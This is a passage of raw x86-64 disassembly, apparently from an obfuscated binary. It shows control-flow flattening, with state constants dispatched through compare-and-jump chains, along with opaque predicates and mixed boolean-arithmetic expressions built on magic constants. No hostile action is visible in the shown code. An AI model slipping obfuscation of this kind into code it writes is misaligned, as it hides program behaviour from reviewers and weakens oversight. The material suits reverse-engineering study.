mov eax, ecx
xor eax, 0x20818742
xor ecx, 0x19043880
and ecx, 0x1b543894
and eax, 0xe4abc76b
or eax, ecx
xor eax, 0xe4abc76b
setne r9b
sete r10b
cmp r8d, 0xa
setl al
cmp r8d, 9
setg cl
mov r8d, eax
mov edx, eax
and dl, r10b
xor al, r10b
and r10b, cl
and r8b, r9b
or r8b, r10b
xor cl, r9b
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
mov ebx, r8d
xor bl, 1
and dl, bl
or bl, al
and al, r8b
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0xfeea22ce
mov ecx, 0x102ddd95
cmovne edx, ecx
test al, al
mov ecx, edx
mov eax, 0xfeea22ce
cmovne ecx, eax
jmp 0x14013e3a7
cmp ecx, 0xeea06575
jg 0x14013283b
cmp ecx, 0xe8bce6c0
jg 0x14013379b
cmp ecx, 0xe77a9f9d
jg 0x140135410
cmp ecx, 0xe57d8eea
je 0x14013952f
cmp ecx, 0xe6fba671
jne 0x1401306d0
mov ecx, 0x51f0e80f
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x152bebe0
jg 0x140133864
cmp ecx, 0x13eea243
jg 0x1401355ce
cmp ecx, 0x133515bb
je 0x140139654
cmp ecx, 0x13a73b95
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x691ac7db
and ecx, edx
or edx, 0x96e53824
mov ebp, edx
not ebp
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x4369d78e
and ebp, 0x28120051
or ebp, edi
or edx, ebx
and ebx, 0x4369d78e
and ecx, 0xbc962871
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x78257c18
and edx, 0x87da83e7
or edx, ecx
mov ebp, edx
xor ebp, 0xeec0443c
xor edx, 0x11d0ac3
and edx, 0x8b9d4ac3
mov ecx, ebp
and ecx, 0x7462b53c
or ecx, edx
mov edx, ecx
xor edx, 0x7462b53c
xor ecx, 0x3014080
mov ebx, edx
and ebx, 0x29c19ba5
and ebp, 0xd63e645a
or ebp, ebx
mov ebx, ebp
not ebx
and ebx, 0xf03743d4
and ebp, 0xfc8bc2b
or ebp, ebx
mov ebx, ebp
xor ebx, 0x2200268c
and ecx, 0x372141a4
mov edi, edx
and edi, 0xc8debe5b
or edi, ecx
xor edi, 0x372141a5
and edx, 1
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x67f49c0f
and edx, 0x980b63f0
or edx, ecx
mov ecx, edx
xor ecx, 0x900022b0
xor ebp, 0xd9f6d870
xor edx, 0x67f49c0f
mov edi, ebp
and edi, 0xcfbc943
and ebx, 0xf30436bc
or ebx, edi
or ebp, edx
and edx, 0xcfbc943
and ecx, 0xf30436bc
or ecx, edx
xor ecx, ebx
not ebp
or ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x827a990d
and ecx, ebp
not ebp
and ebp, 0x8028090d
and edx, 0x2529000
or edx, ebp
xor edx, 0x2529000
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x7d8566f2
and ecx, 0x827a990d
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xab9feaf0
and ecx, 0x5460150f
or ecx, ebp
xor ecx, 0x5460150f
or ecx, edx
cmp ecx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, r9b
mov edx, ecx
xor dl, al
and dl, cl
or bl, r8b
or al, r9b
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and bl, al
mov r8d, ebx
and r8b, al
xor bl, al
or bl, r8b
and cl, bl
xor bl, 1
and bl, dl
or bl, cl
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0xbce7ba65
mov edx, 0x64cabdc9
cmovne ecx, edx
test al, 1
mov eax, 0xbce7ba65
cmovne eax, ecx
test bl, bl
jmp 0x1401306c8
cmp ecx, 0x6f0d797a
jg 0x1401338b0
cmp ecx, 0x69a25624
jg 0x1401355fc
cmp ecx, 0x69038357
je 0x140139753
cmp ecx, 0x694f6db1
jne 0x1401306d0
mov ecx, 0xcd271efa
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x3746fd2c
jg 0x140133a97
cmp ecx, 0x3353a37c
jg 0x1401356bc
cmp ecx, 0x30151092
je 0x140139769
cmp ecx, 0x301893eb
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xf93d80d5
mov edx, ebx
and edx, 0x6c27f2a
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x6c27f2b
and edx, 0xf93d80d4
or edx, ebp
mov edi, edx
not edi
mov ebp, edi
and ebp, 0x4321a916
and edx, 0xbcde56e9
or edx, ebp
and ebx, 0x4321a916
and ecx, 0xbcde56e9
or ecx, ebx
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl dl
cmp eax, 9
setg cl
mov eax, ecx
xor al, dl
and al, cl
mov ebx, eax
not bl
and bl, al
mov r10d, ebx
and r10b, al
xor bl, al
or bl, r10b
xor bl, r9b
and r9b, dl
and cl, r8b
or cl, r9b
mov eax, edx
and al, r8b
xor dl, r8b
or dl, al
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
xor al, bl
mov ecx, eax
xor cl, 1
and cl, bl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xc717a376
mov ebp, 0x26113110
cmovne eax, ebp
test cl, 1
jmp 0x14013c2fe
cmp ecx, 0x57a275ff
jg 0x140133cb0
cmp ecx, 0x524fbd3d
je 0x140137c1a
cmp ecx, 0x54c6a780
je 0x140137d1b
cmp ecx, 0x559d5eee
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea esi, [rcx - 1]
imul esi, ecx
mov ebp, esi
not ebp
mov edx, esi
or edx, 0x62dc065a
mov edi, edx
not edi
mov ecx, ebp
or ecx, 0x9d23f9a5
mov ebx, ecx
not ebx
and edx, 0x1eb652d8
and edi, 0x8101a925
or edi, edx
and ecx, 0x1eb652d8
and ebx, 0x60480402
or ebx, ecx
xor ebx, edi
mov ecx, ebx
not ecx
and ecx, 0xeb3f23ad
and ebx, 0x14c0dc52
or ebx, ecx
mov ecx, ebx
xor ecx, 0x80222026
xor ebx, 0x761cda09
mov edx, ebx
and edx, 0x59cd1fd1
and ecx, 0xa632e02e
or ecx, edx
and esi, 0x59cd1fd1
and ebp, 0xa632e02e
or ebp, esi
xor ebp, ecx
xor ebx, ebp
test ebx, ebp
setne r8b
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and r8b, al
or al, dl
xor al, 1
or al, cl
and bl, dl
or bl, r8b
xor bl, 1
mov edx, eax
or dl, bl
xor bl, al
mov eax, edx
xor al, bl
test bl, bl
mov ecx, 0xb51dfe09
mov ebp, 0x952b7f07
cmovne ecx, ebp
test dl, dl
mov edx, 0xb51dfe09
jmp 0x1401390e7
cmp ecx, 0x952b7f06
jg 0x140133cea
cmp ecx, 0x9072b123
jg 0x140135854
cmp ecx, 0x902e93dd
je 0x140139817
cmp ecx, 0x9030146b
jne 0x1401306d0
mov ecx, 0x64d47c66
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0xd3de5fdc
jg 0x140133efa
cmp ecx, 0xd1a77def
jg 0x14013595d
cmp ecx, 0xd126aab7
je 0x1401398fd
cmp ecx, 0xd1460b1d
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov r8d, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
and edx, 0xb056ef9e
and ebx, 0x4fa91061
or ebx, edx
mov ebp, ebx
xor ebp, 0xb056ef9e
mov edx, ebx
xor edx, 0x4fa91061
mov ecx, ebp
or ecx, 0x523a3e4a
mov edi, ecx
not edi
xor ebx, 0x1d932e2b
and ebx, ebp
mov esi, ebx
not esi
mov eax, ecx
and eax, 0xee862dcc
and edi, 0x141c031
or edi, eax
or ecx, esi
and esi, 0xee862dcc
and ebx, 0x1179d233
or ebx, esi
xor ebx, edi
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x42797420
and ecx, 0xbd868bdf
or ecx, eax
mov edi, ecx
xor edi, 0x10420a40
and ebp, 0x9d6aa698
mov eax, edx
and eax, 0x62955967
or eax, ebp
xor eax, 0x9d6aa699
and edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0xdf02b6e0
and edx, 0x20fd491f
or edx, eax
mov eax, edx
xor eax, 0xec0800
xor ecx, 0xefbcb594
xor edx, 0xdf02b6e0
mov ebp, ecx
and ebp, 0x6611d53f
and edi, 0x99ee2ac0
or edi, ebp
or ecx, edx
and edx, 0x6611d53f
and eax, 0x99ee2ac0
or eax, edx
xor eax, edi
not ecx
or ecx, eax
mov eax, ecx
not eax
and ecx, eax
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
sete r10b
setne r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov r8d, r9d
xor r8b, bl
mov eax, r8d
xor al, 1
and r10b, bl
and dl, r9b
or dl, r10b
or bl, r9b
xor bl, 1
or bl, r8b
xor bl, 1
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
not cl
and cl, al
or al, bl
and bl, r8b
or bl, cl
mov edx, ebx
xor dl, al
test bl, bl
mov ecx, 0x51a1a84d
mov ebp, 0xac018f2b
cmovne ecx, ebp
test al, 1
mov eax, 0x51a1a84d
jmp 0x14013e287
cmp ecx, 0xb2f934cc
jg 0x140134049
cmp ecx, 0xb21b30c3
jg 0x14013598b
cmp ecx, 0xb0a8bbf4
je 0x140139913
cmp ecx, 0xb1de5c74
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x100928
and ebp, 0xd34c0053
or ebp, edx
mov ebx, ebp
xor ebx, 0x52040052
xor ebp, 0x2ca01980
or ecx, 0xd35c097b
mov edx, ecx
not edx
and ebp, 0xade81981
and ebx, 0x5214007a
or ebx, ebp
and ecx, 0xade81981
and edx, 0x3e604
or edx, ecx
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x857ef45
and edx, 0xf7a810ba
or edx, ecx
mov ebp, edx
xor ebp, 0x300900
xor edx, 0xdb0be63e
mov edi, edx
or edi, 1
mov ebx, edi
not ebx
and edx, 0x27ccd0c1
and ebp, 0xd8332f3e
or ebp, edx
mov edx, ebp
xor edx, 0x10232838
xor ebp, 0x27ccd0c0
mov ecx, edi
and ecx, 0xeb9c5747
and ebx, 0x1463a8b8
or ebx, ecx
or edi, ebp
and ebp, 0xeb9c5747
and edx, 0x1463a8b8
or edx, ebp
xor edx, ebx
not edi
or edi, edx
mov edx, edi
mov ecx, edi
xor ecx, 0x5f714d28
and ecx, edi
not edi
and edi, 0xe010828
and edx, 0x51704500
or edx, edi
xor edx, 0x51704500
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x599d55ee
and ecx, 0xa662aa11
or ecx, edx
mov edx, ecx
xor edx, 0xb9032310
xor ecx, 0x6ec18c6
mov ebp, ecx
and ebp, 0x4278d4ed
and edx, 0xbd872b12
or edx, ebp
xor edx, 0xbd872b12
or edx, ecx
cmp edx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
and dl, al
mov ebx, r8d
and bl, cl
or bl, dl
xor al, bl
and al, bl
xor cl, r8b
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
xor dl, al
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, edx
xor al, cl
not al
test al, 1
mov eax, 0x6ec54474
mov ebp, 0x5f9595f2
cmovne eax, ebp
test cl, 1
mov ecx, 0x6ec54474
cmovne ecx, eax
jmp 0x140137163
cmp ecx, 0xfb608f7d
jg 0x140134178
cmp ecx, 0xfa623d91
jg 0x140135ae6
cmp ecx, 0xf712b86c
je 0x140139935
cmp ecx, 0xf7743b65
jne 0x1401306d0
mov ecx, 0x3a63540
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0xd6b1167
jg 0x1401342bb
cmp ecx, 0xc0173d4
jg 0x140135be7
cmp ecx, 0x8d75dd6
je 0x140139a87
cmp ecx, 0xa778c1a
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ebx, ebp
not ebx
mov ecx, ebx
and ecx, 0x36e21ce5
mov edx, ebp
xor edx, 0x36e21ce5
and edx, ebp
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0xc91de31b
and edx, 0x36e21ce4
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xca469dcc
and edx, 0x35b96233
or edx, ecx
mov ecx, edx
xor ecx, 0x15212023
xor edx, 0xca469dcc
mov edi, edx
and edi, 0x6098c718
and ecx, 0x9f6738e7
or ecx, edi
or edx, ebp
and ebp, 0x6098c718
and ebx, 0x9f6738e7
or ebx, ebp
xor ebx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
and dl, bl
or bl, r8b
xor bl, 1
or bl, cl
xor bl, 1
and al, r8b
or al, dl
xor al, bl
mov edx, eax
not dl
and dl, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x102ddd95
mov ebx, 0xa46fbf33
cmovne ebp, ebx
test al, al
mov ecx, ebp
cmovne ecx, ebx
test dl, dl
jmp 0x14013e28d
cmp ecx, 0x64cabdc8
jg 0x1401343d6
cmp ecx, 0x63532db1
jg 0x140135d57
cmp ecx, 0x61e4c080
je 0x140139b95
cmp ecx, 0x62ec9827
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xaf07ac29
and edx, ecx
and ecx, 0x50f853d6
or ecx, ebp
mov ebp, ecx
xor ebp, 0x10e81316
xor ecx, 0xaf07ac29
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xec14c8c0
and ebp, 0x13eb373f
or ebp, edi
or ecx, ebx
and ebx, 0xec14c8c0
and edx, 0x13eb373f
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x10175155
and ecx, 0xefe8aeaa
or ecx, edx
xor ecx, 0xefe8aeaa
sete r8b
setne r9b
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ecx, r9d
xor cl, r8b
and cl, r9b
mov ebx, edx
or bl, cl
xor cl, 1
or cl, al
mov r10d, ecx
xor r10b, bl
or cl, bl
xor cl, 1
or cl, r10b
and r9b, dl
or dl, r8b
xor dl, 1
and al, r8b
or al, r9b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and dl, bl
or bl, al
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x6f0d797b
mov ecx, 0x7ae2a0fb
cmovne edx, ecx
test al, 1
mov ecx, edx
mov eax, 0x6f0d797b
jmp 0x14013e3a4
cmp ecx, 0x2dd3515a
jg 0x1401345a5
cmp ecx, 0x2d07abc9
jg 0x140135ee8
cmp ecx, 0x2b8098f7
je 0x140139d2b
cmp ecx, 0x2c7ff0fb
jne 0x1401306d0
mov ecx, 0x9aa41523
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x507b41bf
jg 0x1401346e4
cmp ecx, 0x4f34ddbf
jg 0x14013604e
cmp ecx, 0x4d2104ba
je 0x140139e63
cmp ecx, 0x4ec87f3f
jne 0x1401306d0
mov ecx, 0x524fbd3d
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x8bef6d1d
jg 0x14013471e
cmp ecx, 0x8aea1de2
jg 0x140136154
cmp ecx, 0x8654f40a
je 0x140139f4a
cmp ecx, 0x8a4c6a19
jne 0x1401306d0
mov ecx, 0x8aea1de3
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0xcf4e918b
jg 0x140134758
cmp ecx, 0xcd173f71
jg 0x140136182
cmp ecx, 0xc7fbafd5
je 0x140139f60
cmp ecx, 0xcc2b0366
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov edi, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0xbcf3d3d3
and edx, 0x430c2c2c
or edx, ecx
mov ebx, edx
xor ebx, 0x2080828
xor edx, 0xca280c0
mov ecx, ebp
or ecx, 0x4da6a4c4
or edx, 1
and edx, 0x4da6a4c5
and ebx, 0xb2595b3a
or ebx, edx
and ecx, 0x4da6a4c5
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xc6fc0ceb
and ecx, 0x3903f314
or ecx, edx
xor ecx, 0x3903f314
mov edx, ecx
and edx, ebp
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xaa78ca14
and ecx, 0x558735eb
or ecx, edx
xor ecx, 0x558735eb
sete r8b
setne r9b
cmp edi, 9
setg dl
cmp edi, 0xa
setl cl
xor dl, cl
and dl, cl
mov eax, edx
xor al, 1
or al, dl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, r9d
or bl, al
mov edx, r9d
xor dl, al
xor dl, 1
and dl, al
xor dl, 1
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
xor r9b, cl
mov eax, ecx
and al, r8b
xor cl, r8b
or cl, al
mov eax, r9d
xor al, cl
or cl, r9b
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
xor bl, al
xor al, 1
or al, cl
xor al, 1
or al, bl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and al, cl
and dl, bl
or dl, al
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0xdb797e7b
mov ecx, 0x83c6a0f1
cmovne eax, ecx
test bl, 1
mov ecx, 0xdb797e7b
jmp 0x14013c7fd
cmp ecx, 0xaf0a3f69
jg 0x14013487c
cmp ecx, 0xac84b783
jg 0x14013621c
cmp ecx, 0xab516930
je 0x14013a0f5
cmp ecx, 0xac018f2b
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
or ecx, 0xa7aaa219
mov ebx, ecx
not ebx
mov ebp, edi
or ebp, 0x58555de6
mov edx, ebp
not edx
and ecx, 0xc5e48f14
and ebx, 0x181150e2
or ebx, ecx
and ebp, 0xc5e48f14
and edx, 0x220a2009
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0xa7aaa218
and edx, 0x58555de7
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3c628e18
and edx, 0xc39d71e7
or edx, ecx
xor edx, 0xc39d71e7
mov ecx, edx
and ecx, edi
xor edx, edi
or edx, ecx
cmp edx, 0xffffffff
sete cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl bl
xor bl, cl
xor bl, 1
mov eax, ebx
xor al, dl
and al, bl
xor dl, cl
xor dl, al
and al, dl
mov ebx, edx
xor bl, al
test dl, dl
mov ecx, 0xa20dc234
mov edx, 0x3f2cca13
cmovne ecx, edx
test al, al
cmove ecx, edx
not bl
test bl, 1
mov eax, 0xa20dc234
jmp 0x14013d209
cmp ecx, 0xf13378fb
jg 0x1401348b6
cmp ecx, 0xf01909ac
jg 0x140136342
cmp ecx, 0xeea06576
je 0x14013a1e4
cmp ecx, 0xeef404cd
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0xae25d166
mov ebp, ebx
and ebp, 0x51da2e98
or ebp, edx
mov edi, ebp
xor edi, 0x10ca2a08
xor ebp, 0x6259146
mov edx, ebx
or edx, 0x473595d6
and ebp, 0x473595d6
and edi, 0xb8ca6a28
or edi, ebp
and edx, 0x473595d7
xor edx, edi
mov ebp, edx
not ebp
mov edi, edx
and edi, 0x30a9122c
and ebp, 0xcf56edd3
or ebp, edi
or edx, ebx
and ebx, 0x30a9122c
and ecx, 0xcf56edd3
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg al
mov ebx, eax
xor bl, r10b
and bl, al
mov ecx, ebx
xor cl, 1
mov r11d, ebx
and r11b, cl
mov edx, r11d
xor dl, 1
xor r11b, bl
or dl, cl
xor dl, 1
or dl, r11b
or cl, bl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and dl, r9b
and cl, r8b
or cl, dl
and r9b, r10b
or r10b, r8b
xor r10b, 1
and al, r8b
or al, r9b
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
xor al, 1
mov r8d, ecx
xor r8b, 1
mov edx, ecx
and dl, r8b
mov ebx, edx
xor bl, 1
xor dl, cl
or bl, r8b
xor bl, 1
or bl, dl
xor bl, al
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0x2e74e61f
mov eax, 0x581faa89
cmovne ecx, eax
test bl, 1
cmove ecx, eax
test dl, 1
mov eax, 0x2e74e61f
jmp 0x14013dd20
cmp ecx, 0x1a0bea85
jg 0x140136370
cmp ecx, 0x1946e14a
je 0x14013a1fa
cmp ecx, 0x194c2982
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
lea eax, [rcx - 1]
imul eax, ecx
mov edi, eax
not edi
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
or eax, 1
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0xb3fde53
mov ecx, edi
and ecx, 0xf4c021ac
or ecx, ebx
or eax, ebp
and ebp, 0xb3fde53
and edx, 0xf4c021ac
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x5d34fb49
and eax, 0xa2cb04b6
or eax, ecx
xor eax, 0xa2cb04b6
mov ecx, eax
and ecx, edi
xor eax, edi
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x40b471fc
and eax, 0xbf4b8e03
or eax, ecx
xor eax, 0xbf4b8e03
sete cl
setne dl
cmp dword [0x14024b6e4], 0xa
setl al
xor dl, al
xor dl, 1
mov r10d, eax
or r10b, cl
xor r10b, 1
or r10b, dl
mov r8d, r10d
xor r8b, 1
xor al, cl
mov r9d, eax
xor r9b, 1
mov ebx, r8d
and bl, r10b
mov ecx, eax
and cl, r9b
mov edx, ebx
xor dl, 1
xor bl, r8b
or dl, r10b
xor dl, 1
or dl, bl
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
xor cl, dl
xor r9b, r10b
or al, r8b
xor al, 1
or al, r9b
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xd3de5fdd
mov ebp, 0xd0716ce1
cmovne eax, ebp
test cl, 1
cmove eax, ebp
test dl, 1
mov ecx, 0xd3de5fdd
jmp 0x1401306c8
cmp ecx, 0x762da73f
jg 0x140136438
cmp ecx, 0x75313e58
je 0x14013a38c
cmp ecx, 0x7573e956
jne 0x1401306d0
mov eax, dword [0x14024b6e8]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x7464385
and edx, 0xf8b9bc7a
or edx, ecx
mov ebp, edx
not ebp
xor edx, 0x2000180
or eax, 0x1ab8b5d0
mov ecx, eax
not ecx
or edx, 0x85434022
and edx, 0x9febd1b2
and ebp, 0x102440
or ebp, edx
and eax, 0x9febd1b2
and ecx, 0x60040a0d
or ecx, eax
xor ecx, ebp
mov eax, ecx
not eax
and eax, 0x6bd206b
and ecx, 0xf942df94
or ecx, eax
mov eax, ecx
xor eax, 0xe3fa6a44
xor ecx, 0x1c0595ba
mov edx, eax
and edx, 0xfffffffe
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfd7903f4
and ecx, eax
and eax, 0x286fc0b
or eax, edx
xor eax, 0x286fc0b
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x7b08cc38
and eax, 0x84f733c7
or eax, ecx
xor eax, 0x84f733c7
cmp eax, 0xffffffff
sete r8b
setne r10b
cmp dword [0x14024b6e4], 9
setg bl
mov ecx, ebx
and cl, r10b
xor r10b, bl
or r10b, cl
mov r9d, r10d
xor r9b, 1
mov ecx, ebx
xor cl, r8b
not cl
and cl, r8b
or bl, r8b
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
mov eax, r9d
and al, r10b
mov edx, ebx
and dl, cl
mov r8d, eax
and r8b, r9b
xor al, r9b
or al, r8b
mov r8d, edx
and r8b, bl
xor dl, bl
or dl, r8b
mov ebx, eax
xor bl, 1
and bl, dl
xor dl, 1
and dl, al
or dl, bl
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xf13378fc
mov ebp, 0xb52853f2
cmovne eax, ebp
test cl, 1
mov ecx, 0xf13378fc
jmp 0x14013c7fd
cmp ecx, 0x403a09e1
jg 0x1401364fe
cmp ecx, 0x3c0fd4c8
je 0x14013a4b1
cmp ecx, 0x3f2cca13
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, ecx
and ebx, 1
or ebx, ebp
and edx, 0xa23729d
and ecx, 0xf5dc8d62
or ecx, edx
mov edx, ecx
xor edx, 0xb15c8d00
mov ebp, ebx
not ebp
mov edi, ebp
and edi, 0x46805263
and ebx, 0xb97fad9c
or ebx, edi
xor ecx, 0x2005201
and ecx, 0x46805263
and edx, 0xb97fad9c
or edx, ecx
xor edx, ebx
xor ebp, edx
test ebp, edx
sete dl
setne cl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor al, cl
mov r9d, eax
xor r9b, bl
and r9b, al
mov eax, ebx
xor al, dl
not al
and al, dl
or bl, dl
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov r8d, r9d
xor r8b, 1
mov r10d, eax
xor r10b, 1
mov ebx, r9d
and bl, r8b
mov edx, eax
and dl, r10b
mov ecx, ebx
xor cl, 1
xor bl, r9b
or cl, r8b
xor cl, 1
or cl, bl
xor dl, 1
mov ebx, edx
xor bl, r10b
or dl, r10b
xor dl, 1
or dl, bl
mov ebx, ecx
xor bl, 1
and bl, dl
xor dl, 1
and dl, cl
or dl, bl
xor r10b, r8b
or al, r9b
xor al, 1
or al, r10b
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x6f1e29a0
mov ebp, 0x69a25625
cmovne eax, ebp
test dl, 1
cmove eax, ebp
test cl, 1
mov ecx, 0x6f1e29a0
jmp 0x1401306c8
cmp ecx, 0x9aa41522
jg 0x140136643
cmp ecx, 0x991f7edf
je 0x14013a4c7
cmp ecx, 0x995c907a
jne 0x1401306d0
mov eax, dword [0x14024b6e8]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xc77f814d
and edx, 0x38807eb2
or edx, eax
mov ecx, edx
xor ecx, 0x28804cb0
xor edx, 0x81478008
and edx, 0x9147b20a
and ecx, 0x6eb84df5
or ecx, edx
mov edx, ecx
xor edx, 0x6eb84df5
mov eax, edx
or eax, 1
mov ebp, eax
not ebp
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
mov ebx, eax
and ebx, 0xb67c16f3
